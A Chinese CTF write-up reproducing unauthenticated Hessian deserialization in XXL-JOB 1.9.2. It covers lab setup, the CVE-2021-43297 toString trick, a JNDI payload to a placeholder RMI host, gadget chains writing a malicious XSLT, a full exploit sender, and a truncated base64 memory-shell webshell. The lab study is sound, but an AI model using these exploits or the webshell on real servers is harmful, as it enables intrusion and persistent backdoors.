环境搭建
由于题目是公共靶机现在已经挂了,所以复现需要自己搭建题目环境
跟着这篇文章来配置一下:https://www.cnblogs.com/vickey-wu/p/9087951.html
主要是admin组件的配置,因为他是一个war,需要部署在tomcat上,executor是springboot应用,直接java -jar就行了
mysql配置
| docker run -itd --name xxl-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.6.40
 
 docker cp <xxl-job的sql文件> xxl-mysql:/tmp
 
 mysql -uroot -p123456
 
 source /tmp/tables_xxl_job.sql
 
 | 

然后本地编译一下xxl-job的admin项目,我们需要他war包解压后的文件夹,配置文件需要修改一下,xxl.job.db.password属性改成刚刚的数据库的密码
然后写一个dockerfile构建tomcat服务
| FROM dockerpull.org/tomcat:8.5EXPOSE 8080
 
 ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps
 ENV TIME_ZONE Asia/Shanghai
 
 RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager \
 && ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
 
 ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
 
 | 
构建镜像
| docker build -t xxl-admin:0.1 .
 | 
启动镜像
| docker run -itd --name xxl-admin -p 8080:8080 xxl-admin:0.1
 | 

然后本地编译xxl-job-executor-sample-springboot执行器,这个和题目的是一样的,修改配置文件的xxl.job.admin.addresses为http://127.0.0.1:8080/
然后直接java -jar就能跑起来了

我们的执行器也上线了

docker-compose搭建
想自己试试docker-compose搭建,没有怎么搭建过多容器的应用,但是浪费了好多时间啊实在是,太折磨了
先给一个总的docker-compose.yaml
| services:admin:
 build:
 context: ./admin
 dockerfile: dockerfile
 depends_on:
 - db
 container_name: admin
 ports:
 - "8080:8080"
 networks:
 - xxl-job-network
 executor:
 build:
 context: ./executor
 dockerfile: dockerfile
 depends_on:
 - admin
 container_name: executor
 ports:
 - "9999:9999"
 networks:
 - xxl-job-network
 db:
 build:
 context: .
 dockerfile: dockerfile
 container_name: mysql
 ports:
 - "3306:3306"
 networks:
 - xxl-job-network
 command: --default-authentication-plugin=mysql_native_password
 networks:
 xxl-job-network:
 
 | 
启动mysql的dockerfile
| FROM dockerpull.org/mysql:5.7
 ENV MYSQL_ROOT_PASSWORD=123456
 
 
 COPY ./tables_xxl_job.sql /tmp/
 
 RUN mv /tmp/*.sql /docker-entrypoint-initdb.d
 
 
 
 ENV LANG=C.UTF-8
 
 | 
然后我想着参考vulhub里的2.2版本的xxl-job环境来进行搭建,但是在maven编译的时候总会出错,我只能采取本地先编译然后再将jar包之类的直接放入
admin的dockerfile
编译好之后将解压的war包目录放在dockerfile的上下文目录中
| FROM dockerpull.org/tomcat:8.5EXPOSE 8080
 
 ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps
 ENV TIME_ZONE Asia/Shanghai
 
 RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager \
 && ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
 
 ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
 
 RUN rm -rf /tmp/*
 
 | 
编译前需要改一下配置,我们连接数据库采用服务名的方式在docker-compose中,xxl.job.db.url改成如下:
| xxl.job.db.url=jdbc:mysql://db:3306/xxl-job?useUnicode=true&characterEncoding=UTF-8&useSSL=false
 | 
这里要注意一个坑,在mysql5.7以上连接数据库是需要配置useSSL=false或者true这个选项的,不然连接的时候会一直bad handshake,被坑了好久在这里😭
最后是executor的dockerfile
| FROM dockerpull.org/openjdk:8u272-jre
 LABEL maintainer="clown"
 
 ADD ./xxl-job-executor-sample-springboot-1.9.2.jar /usr/src/xxl-job-executor-sample-springboot-1.9.2.jar
 
 
 WORKDIR /usr/src
 
 CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-1.9.2.jar"]
 
 | 
这里也是先编译好然后放到dockerfile的上下文中
同样需要修改一下配置,将xxl.job.admin.addresses改成如下:
| xxl.job.admin.addresses=http://admin:8080/
 | 
我的文件结构如下:

里面混杂着一些没用的文件问题不大,都是失败的试验品😭
最后


成功启动!
参考
https://www.cnblogs.com/PeterJXL/p/18415349
https://www.cnblogs.com/vickey-wu/p/9087951.html
https://blog.csdn.net/lichaohao_10/article/details/127445796
前置知识
因为这题涉及到了Hessian原生反序列化,刚好还有一种方式没看,这里就顺便简单学习一下
Hessian的toSting异常反序列化
原理是字符串和对象拼接导致隐式触发了该对象的toString方法,该漏洞有一个cve,CVE-2021-43297
这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。
利用关键
我们可以看一下expect的写法
| protected IOException expect(String expect, int ch)throws IOException
 {
 if (ch < 0)
 return error("expected " + expect + " at end of file");
 else {
 _offset--;
 
 try {
 int offset = _offset;
 String context
 = buildDebugContext(_buffer, 0, _length, offset);
 
 Object obj = readObject();
 
 if (obj != null) {
 return error("expected " + expect
 + " at 0x" + Integer.toHexString(ch & 0xff)
 + " " + obj.getClass().getName() + " (" + obj + ")"
 + "\n  " + context + "");
 }
 else
 return error("expected " + expect
 + " at 0x" + Integer.toHexString(ch & 0xff) + " null");
 } catch (Exception e) {
 log.log(Level.FINE, e.toString(), e);
 
 return error("expected " + expect
 + " at 0x" + Integer.toHexString(ch & 0xff));
 }
 }
 }
 
 | 
可以看到接受了一个expect的String类型变量,然后调用readObject方法获取了一个对象,再直接将expect和obj对象拼接起来,从而触发了该对象的toString方法
流程分析
去找一下expect方法的引用

可以找到大部分的read方法都可以调用expect方法,文章选择的是readString,那这里也跟着readString来
然后也是通过查找引用的方式找readString的调用,这里引用readString的方法也很多,所以面向结果查找(
完整的利用链如下:
| Hessian2Input#readObject --> Hessian2Input#readObjectDefinition --> Hessian2Input#readString --> Hessian2Input#expect
 | 
然后是分析触发的点
首先是readObject方法中,他会读取第一个字节数据来进行判断

然后如果第一个字节为大写C即byte为67的话,就会调用readObjectDefinition方法

然后里面就会调用readString方法

然后readString也是读取字节来进行判断

但是我们写入的是对象类型,所以也不用考虑他读取的第二个tag,最终一定会走到default里面触发expect

编写exp
那现在我们需要考虑的是如何控制第一个字节,可以使用System.arraycopy方法,该方法是java中用来复制数组元素的方法
写一个Person类里面的toString方法有恶意代码来简单测试
| package org.clown.exp;
 import java.io.IOException;
 import java.io.Serializable;
 
 public class Person implements Serializable {
 String name;
 
 public void setName(String name) {
 this.name = name;
 }
 
 
 @Override
 public String toString() {
 try {
 Runtime.getRuntime().exec("calc");
 } catch (IOException e) {
 throw new RuntimeException(e);
 }
 return this.name;
 }
 }
 
 | 
然后是exp
| package org.clown.exp;
 
 import com.caucho.hessian.io.Hessian2Input;
 import com.caucho.hessian.io.Hessian2Output;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 
 public class expectExp {
 public static byte[] Hessian2_Serial(Object o) throws IOException {
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 Hessian2Output hessian2Output = new Hessian2Output(baos);
 hessian2Output.writeObject(o);
 hessian2Output.flushBuffer();
 return baos.toByteArray();
 }
 
 public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
 ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
 Hessian2Input hessian2Input = new Hessian2Input(bais);
 Object o = hessian2Input.readObject();
 return o;
 }
 
 public static void main(String[] args) throws Exception {
 
 Person person = new Person();
 person.setName("Hessian异常toString成功捏o(=•ェ•=)m");
 
 byte[] data = Hessian2_Serial(person);
 
 byte[] poc = new byte[data.length + 1];
 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 Hessian2_Deserial(poc);
 }
 }
 
 | 
成功弹出计算器

开始复现
题目就是一个xxl-job的1.9.2的版本,版本挺低的,一个xxl-job的总结,大部分wp都是看这个的:https://xz.aliyun.com/t/13899
总结就是xxl-job一般有两个打法,一个是打api未授权,一个是打executor未授权,该题打的就是api未授权访问
api未授权打法
api未授权,是针对admin组件的,访问api的时候会返回这样的内容,证明这是存在api未授权

可以去看看xxl-job-admin的源码下的api路由都是干什么的

可以看到他会调用doInvoke方法,然后直接将body全部都反序列化了
打jndi注入
然后就可以直接利用jndi,用marshalsec生成exp去打
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser
 | 
用的是SpringAbstractBeanFactoryPointcutAdvisor这条链子
然后利用curl去发包即可
| curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/api
 | 
但是这种打法需要环境出网,这里题目是不出网的,所以需要换一种方式去打内存马
xslt打内存马
XSLT(eXtensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于转换XML文档的编程语言。XSLT定义了如何将一个XML文档转换成另一种格式,比如HTML、文本或者另一个XML文档。
这部分的利用在Nookipop师傅的文章中有说,里面一些Hessian的链子没见过,还临时去补了一下
因为不出网就需要打内存马,我们这里需要打两次payload,第一次写入xslt文件,第二次解析xslt文件打入内存马
先利用Hessian的PKCS9Attributes这条原生链子写一个xslt文件能够执行任意代码
| public static void main(String[] args) throws Exception {
 PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
 UIDefaults uiDefaults = new UIDefaults();
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "E:\\payload.xslt"}}));
 SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
 FileOutputStream fileOut = new FileOutputStream("poc.ser");
 Hessian2Output out = new Hessian2Output(fileOut);
 fileOut.write(67);
 out.getSerializerFactory().setAllowNonSerializable(true);
 out.writeObject(pkcs9Attributes);
 out.close();
 fileOut.close();
 
 }
 }
 
 | 
这里最后调用的静态方法是Process#_main方法,该方法能够解析xslt文件
能够执行任意代码的恶意xslt文件
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
 xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
 >
 <xsl:template match="/">
 <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
 <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
 <xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
 <xsl:value-of select="$rce"/>
 </xsl:template>
 </xsl:stylesheet>
 
 | 
然后我们还需要一个用来写入的静态方法,选用JavaUtils的writeBytesTofilename

那就可以得到另一个payload
| package com.javasec.pocs.hessian;import com.caucho.hessian.io.Hessian2Output;
 import com.javasec.utils.SerializeUtils;
 import sun.security.pkcs.PKCS9Attribute;
 import sun.security.pkcs.PKCS9Attributes;
 import sun.swing.SwingLazyValue;
 
 import javax.swing.*;
 import java.io.FileOutputStream;
 
 public class HessianProxyLVFileWrite {
 public static void main(String[] args) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
 UIDefaults uiDefaults = new UIDefaults();
 
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",SerializeUtils.getFileBytes("E:\\payload.xslt")}));
 SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
 FileOutputStream fileOut = new FileOutputStream("poc.ser");
 Hessian2Output out = new Hessian2Output(fileOut);
 fileOut.write(67);
 out.getSerializerFactory().setAllowNonSerializable(true);
 out.writeObject(pkcs9Attributes);
 out.close();
 fileOut.close();
 }
 }
 
 | 
然后这里写一个exp能够序列化payload并发送post请求的
| package org.clown.exp;
 import com.caucho.hessian.io.Hessian2Input;
 import com.caucho.hessian.io.Hessian2Output;
 import com.caucho.hessian.io.SerializerFactory;
 import sun.security.pkcs.PKCS9Attribute;
 import sun.security.pkcs.PKCS9Attributes;
 import sun.swing.SwingLazyValue;
 
 import javax.swing.*;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.net.HttpURLConnection;
 import java.net.URL;
 import java.net.URLConnection;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 
 public class DasCTFEasyJob {
 public static byte[] Hessian2_Serial(Object o) throws IOException {
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 Hessian2Output hessian2Output = new Hessian2Output(baos);
 SerializerFactory serializerFactory = new SerializerFactory();
 serializerFactory.setAllowNonSerializable(true);
 hessian2Output.setSerializerFactory(serializerFactory);
 hessian2Output.writeObject(o);
 hessian2Output.flushBuffer();
 return baos.toByteArray();
 }
 
 public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
 ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
 Hessian2Input hessian2Input = new Hessian2Input(bais);
 Object o = hessian2Input.readObject();
 return o;
 }
 public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
 Field declaredField = o.getClass().getDeclaredField(fieldName);
 declaredField.setAccessible(true);
 declaredField.set(o, value);
 }
 public static void main(String[] args) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
 UIDefaults uiDefaults = new UIDefaults();
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))}));
 setField(pkcs9Attributes,"attributes",uiDefaults);
 byte[] data = Hessian2_Serial(pkcs9Attributes);
 
 byte[] poc = new byte[data.length + 1];
 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 
 
 
 URL url = new URL("http://127.0.0.1:8080/api");
 HttpURLConnection connection = (HttpURLConnection) url.openConnection();
 
 connection.setRequestMethod("POST");
 
 connection.setRequestProperty("Content-Type", "application/octet-stream");
 
 connection.setDoOutput(true);
 
 OutputStream outputStream = connection.getOutputStream();
 outputStream.write(poc);
 
 int responseCode = connection.getResponseCode();
 System.out.println("Response Code: " + responseCode);
 
 connection.disconnect();
 }
 }
 
 | 

欸我服了打了几次没反应,看了一下容器日志,说java.lang.ClassNotFoundException: sun.swing.SwingLazyValue,怪了,我看了一下admin组件的java版本
我去怎么是jdk21的版本的😓,这Tomcat镜像直接给我拉了一个21的jdk,那就改一下admin的dockerfile,改成手动装tomcat和jdk了
| FROM dockerpull.org/openjdk:8-jdk
 
 
 ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps
 ENV TIME_ZONE Asia/Shanghai
 
 
 RUN wget https://downloads.apache.org/tomcat/tomcat-9/v9.0.97/bin/apache-tomcat-9.0.97.tar.gz -O /tmp/tomcat.tar.gz \
 && tar -xzf /tmp/tomcat.tar.gz -C /usr/local \
 && rm /tmp/tomcat.tar.gz \
 && ln -s /usr/local/apache-tomcat-9.0.97 /usr/local/tomcat
 
 
 RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager
 
 
 RUN ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
 
 
 ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
 
 
 RUN rm -rf /tmp/*
 
 
 EXPOSE 8080
 
 
 CMD /usr/local/tomcat/bin/startup.sh && tail -F /usr/local/tomcat/logs/catalina.out
 
 | 
现在再打一遍

可以看到我们成功打进去了,证明exp是没问题的,现在就该考虑打什么内存马了
然后这里打着打着突然发现了奇怪的问题,我现在打的是api的未授权,而且又是在tomcat起的服务,怎么wp打的是jetty内存马呢
后来看了一下题目只给了executor的端口,而该版本的executor也是存在未授权打hessian反序列化的,具体的可以看一下文章,所以我打半天打错端口了😡,那也先复现打一下api吧,等会再打题目的executor未授权
这里用一款java内存马生成工具:https://github.com/pen4uin/java-memshell-generator-release

生成对应的冰蝎内存马
然后xslt文件改成这样
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
 xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
 >
 <xsl:template match="/">
 <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'yv66vgAAADEBsgEAG29yZy9qdW5pdC9tL0VuY3J5cHRpb25VdGlscwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQACLyoIAAgBAAxnZXRDbGFzc05hbWUBAChjaC5xb3MubG9nYmFjay5Db250ZXh0TG9hZGVyQ2F5emJ2RmlsdGVyCAALAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAA8BABBqYXZhL2xhbmcvU3RyaW5nBwARAQpESDRzSUFBQUFBQUFBLzZWWENYY1QxeFgrbmlWN1pGbUVJSUt4Z0FRbkthREZ0aEtNcVpFSmllVTR3WWx0VWlzMWRad3VZMmxrQ1dTTjBJd2NSSmVrNmI2blRiZDAzMGwzMGdZWkJ3SjBDdzFObTI3dXYwbFB2emNqeVpJc0c4N3BPZGFiZWUvZTk5Mzd2cnU4OGZYL3ZuSVp3TDM0ajRBL25ncWYwbzF3UnArZlUrTW53eU42MXRST20rTzZtdER5STJyeHpOemlRK21NcWVVVkNJRnRKOVJGTlp4UnMvUGhrWXhxR0xhYUFvZkFiVkowT214bytjV01ab1lybTFvRnhEdzMrbWVqZ2ZHRzNVTUN6aEU5b1Fsc0hrOW50Y25Dd3B5V2YxeWR5M0RGTzY3SDFjeTBtay9MZVhuUmFhYlNoa0J3L0dhZHBnVXhKOUF5R3hYb1NHaEpXckVzQzJ5blEyTmphMTN5NEZac2NjTUpyMERiNFhRMmJSNFJjUGdEMHg3Y2htMVMwQ213dzkrNHp6WTlGSmltd1RqUjE1RkxrQzRKc2xQQWxkQnRKd1ZtYmJ4VjltTDJjMG83VmRBTWMyZzlxWkhUczRiV0tMWlJSMUpxT21zNXRIWFZsOUhUY1MxbnB2V3NndDBDaXFFWkJpY0MzUTBRS2RQTWhZOXlpTmthNU5HaHo1MlFnYkxBQ21ZNkU1NVFjMXpmVnQ0YXp4ZHpwaDRlU2VkU051OWFSZFpnbXJKYmpMcnpDZHl4OGZscDE2Zy9zOER1RzVEQ2dDZFhpUkRZdVFGTHBDSmZjV1hmK2xRMCtPVEtWNTFwak4vYVRWV3Y5dHdVdklMOUFudHZEbFRCQVlGTk1aT1Z3SkNVUzhXZDBtVEdUYW9MVmpHdHhpRm01dFBaZVdiaTJ6SFlqaFljRW1pZjE4eWpsanB0K3RmcUJwcHRIOExoRHZUalB2SnNtNXBXTXdYTmcvdHQyQWNFYm0zY3BZQmw2SXF6V0VrNmEzQm5YUm1sMUh4TUhqNGIxNFlDVDNqd0lFYmRHTUZEUEF2OWkxVlM5UzUvNEViSjZzRlJqRW5uSGhIWXNwcXZSMVVqUllJVWpMc3hnVTRYK2toYlhUb3JlSXlKbmlzd0RRWnJmVHMyZDBLTGw4dXdiaVd3ZHNtREtjUTY4QTQ4N3NJOUx0ekpTaWk0OEM0MnJ4ejdnQWRQMlB6TU11azNQb2FDZDVNdE9tTVJ5OFJzRXBrbUhyRlJ2UmZ2NjhCN29QSXN3Nk14RitMbEh0QlFwQXFJMmtGdXg3S0dxWkoyZ2NDNjBXOHNjQS9ta1hJamlUUkxzVTdCeUdseFZtTThyNW1QYXNVWVp3cE84aVEwRkMyYUd1UHU5QWRtb3g0c0lDc0RyTnZOdUlsaHErZWVjaU1ESnFaVDltS3BPbVpyR2xxOGtFK2J4VENOV0tvbUN0S2Z4YnJFczFsUmNOcDJvTno4dC9xYk5mNHplTDhiUlh5QTNhWkJxT0JEYkZxVi9YWXZGL0N0UmFtMitXZndZVGVleHJOdWhwcTlmdGRHN1UzQngrd2FuQ3JYNEk0S2NGb1BSd3ZKcEpiWEVyYU15Si9BSnp2d2NYeEtvTE81am9MUFdMMUpUY2hMbFJlenYybjlmZzZmZCtPeitBSVBsdENqcXFFZFBQQ2dGcmR1NDg1bVdTQWo5a1Y4U1I3b2VmWkxlWGxsMVF3dlNYbXpTK0ZYOEZYSi85YzhVT0NTYWk4d3U3TGFVNnZaVmU5SnRWNitpVzlKcnI1TkxCS2laZ3o1dWRBa3M5a1R2b3Z2eVJCOW4rU3YyODBWL0ZEZ2dmL3ZScFg1ZER0KzNJRWY0U2ZzUDlXN3k2amNwbVI5N0ZqTmJmclROZVZjaHF6UitibEFhenlqbmpuRHJ0VGtVMGhKV1BUbjY5dDErZkRNLzBVMVA4Q0tOa3hxZEJxRmJOOUMyb2ozUllkam81WEk1VjM0TFhHU2VybnQ3N2xCTDY4ay9ubVVaQUNXQkR5MkQzWkN1YkJzNStXRVpxYjBSSlhVT3J6Wk5YaTFGdkphTWtQM3d6WUNUVjNFSlducVZZR3U5YlFVWEdFbXBMT0wra21lNFZDVFRKaTl5VWI4Ty96ZWphdjRnNExONWFiUUp6dDluNTN0THJ4bVh5MVY4djVNdXpZQkxseG5XMnZNb1hLUzZkbGtldDc2c3ZJa2ExWlk1UnZwV3dGbThQUWlmWm5iZjI5eTRFQmljT0RRb05yZmZ6RHV3dDhwbjlKa0dkT1JmOUtScWVTQ3NiRGd3cjl4SjJ2SkNTN0J3WkgzQjcvZGhieStyZWY5MXBOZjU3THNPTFp6ZGgvMVcvaHNENFljb2N0TDJIcU9reGE0T2JaUkJXeXJIUnc3YlNWNHNBbXczbTdCWnNxRi9OUXRRNDFTUis3WUhseml6L3VQODNneTZQM1hlVVNDM3BYekdINnBDdXkyd0xZVHRNc0M5OWpieXVBU3Nxc00rUmcxcFc1WE1MU0VYVGZHM0VtVVhUVU9kMVVkN29JUE95eUhiOGNkbEJGZFhPSVJwWldWMEZYMFI1dzlWekVRYWZVNWd5OGpzb3dqTFhnTkw5Yk0rREpjd3NNdjRIbXB2b3hIQlNKdEZ6RXhzNFRKaU9KVHZNZEN5M2luQThmNU91MXJyYjRmOTdXVjM5dThNd1I1Y2hsekRuZ1RGM0FpNHZLNVdpOGlZeTJYa1BNbWxtQ1U4TlJGdE13RVMvaGdDUjlad2tkOXJpQ1JQeTFRd25NbGZMbUVyNWZ3alJLKzQxTksrTUh4cytqb0RmVXM0NndEWjdFcDBsYVp2TVNqZW5BTjE5SE5aSkFVUFFJdng5MDhkRGNsZHlPTXR5R0NQYnhYOTJJUys1Z3VmamJsSUF5RWVNSDE0RG4wNGhMNmNJV2ExL2lKZEozL0JyNkIvVXl6QXhiRlNhSkc4Q3lUN2k1aWpyRFozazFFaFh1akpIc1BVK3dOL3ZZU3VVMlNYQTNGQ3UwRXJKQ3YwRnJJQ3RRSzdmWFN6emE4U1l0aEpxVUhyK01lV216RlFjcTN3UGtXcmlqb1Z6Q2dSQlYwdCtORkswVmI4RFA4Z21DOGIreW80aTJ1dHZKWjlMNThBUmNtZXJ5dk9GL0Ywek1PNzBpc2hNczlKSTd6NG93anhPa2ZyK0pQMWI5ekU5NXIzREhaNjMzZHdSMVVGbndXcVJWeCtwd01oL2N2dFVnKzUzbzQxdG1rN3hYbWQxZ01ESEk4eE5VSU9Semk3RERHV1g2U3lTT1V0SkdKWCtKWFBNUWdocTAzQitXOStEWE9rWTM5ZUpnUjNXZHhWYXd5V2NSdnFDMHNobGl0cDhpTFJZdHNBZDM4bVl5QVRjcUFWU2pNK2RXS3NjczdXbE10b2dvczhGZjhqV01GVERMOFpyWFFRNVpHRTdEUm1uS3VndjBQbkcyM3IwTVFBQUE9CAATAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABIAFwEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABoBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAHUxvcmcvanVuaXQvbS9FbmNyeXB0aW9uVXRpbHM7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADmphdmEvdXRpbC9MaXN0BwAnAQASamF2YS91dGlsL0l0ZXJhdG9yBwApAQANU3RhY2tNYXBUYWJsZQwAFQAZCgAEACwBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAAuAC8KAAIAMAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAMgAzCwAoADQBAAdoYXNOZXh0AQADKClaDAA2ADcLACoAOAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAOgA7CwAqADwBAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAPgA/CgACAEABAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAEIAQwoAAgBEAQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBQAQAQamF2YS9sYW5nL1RocmVhZAcAUgEAEWphdmEvdXRpbC9IYXNoTWFwBwBUAQATamF2YS91dGlsL0FycmF5TGlzdAcAVgoAVwAsAQAKZ2V0VGhyZWFkcwgAWQEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABbAFwKAAIAXQEAB2dldE5hbWUMAF8ABgoAUwBgAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAYgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABkAGUKABIAZgEABnRhcmdldAgAaAEABWdldEZWDABqAFwKAAIAawEABnRoaXMkMAgAbQgARwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7DABwAHEKAFUAcgEADWphdmEvdXRpbC9TZXQHAHQLAHUANAEAA2dldAwAdwA/CgBVAHgBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHoAewoABAB8AQAPamF2YS9sYW5nL0NsYXNzBwB+CgB/AGABAA9TdGFuZGFyZENvbnRleHQIAIEBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAIMAhAsAKACFAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CACHAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiQCKCgBTAIsBAAh0b1N0cmluZwwAjQAGCgB/AI4BABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCACQAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggAkgEACXJlc291cmNlcwgAlAgAIAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCXAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAVAJkKAJgAmgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCcAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAngEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAKABAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKQBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcArgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAsACxCgBTALIBAA5nZXRDbGFzc0xvYWRlcgwAtACKCgB/ALUM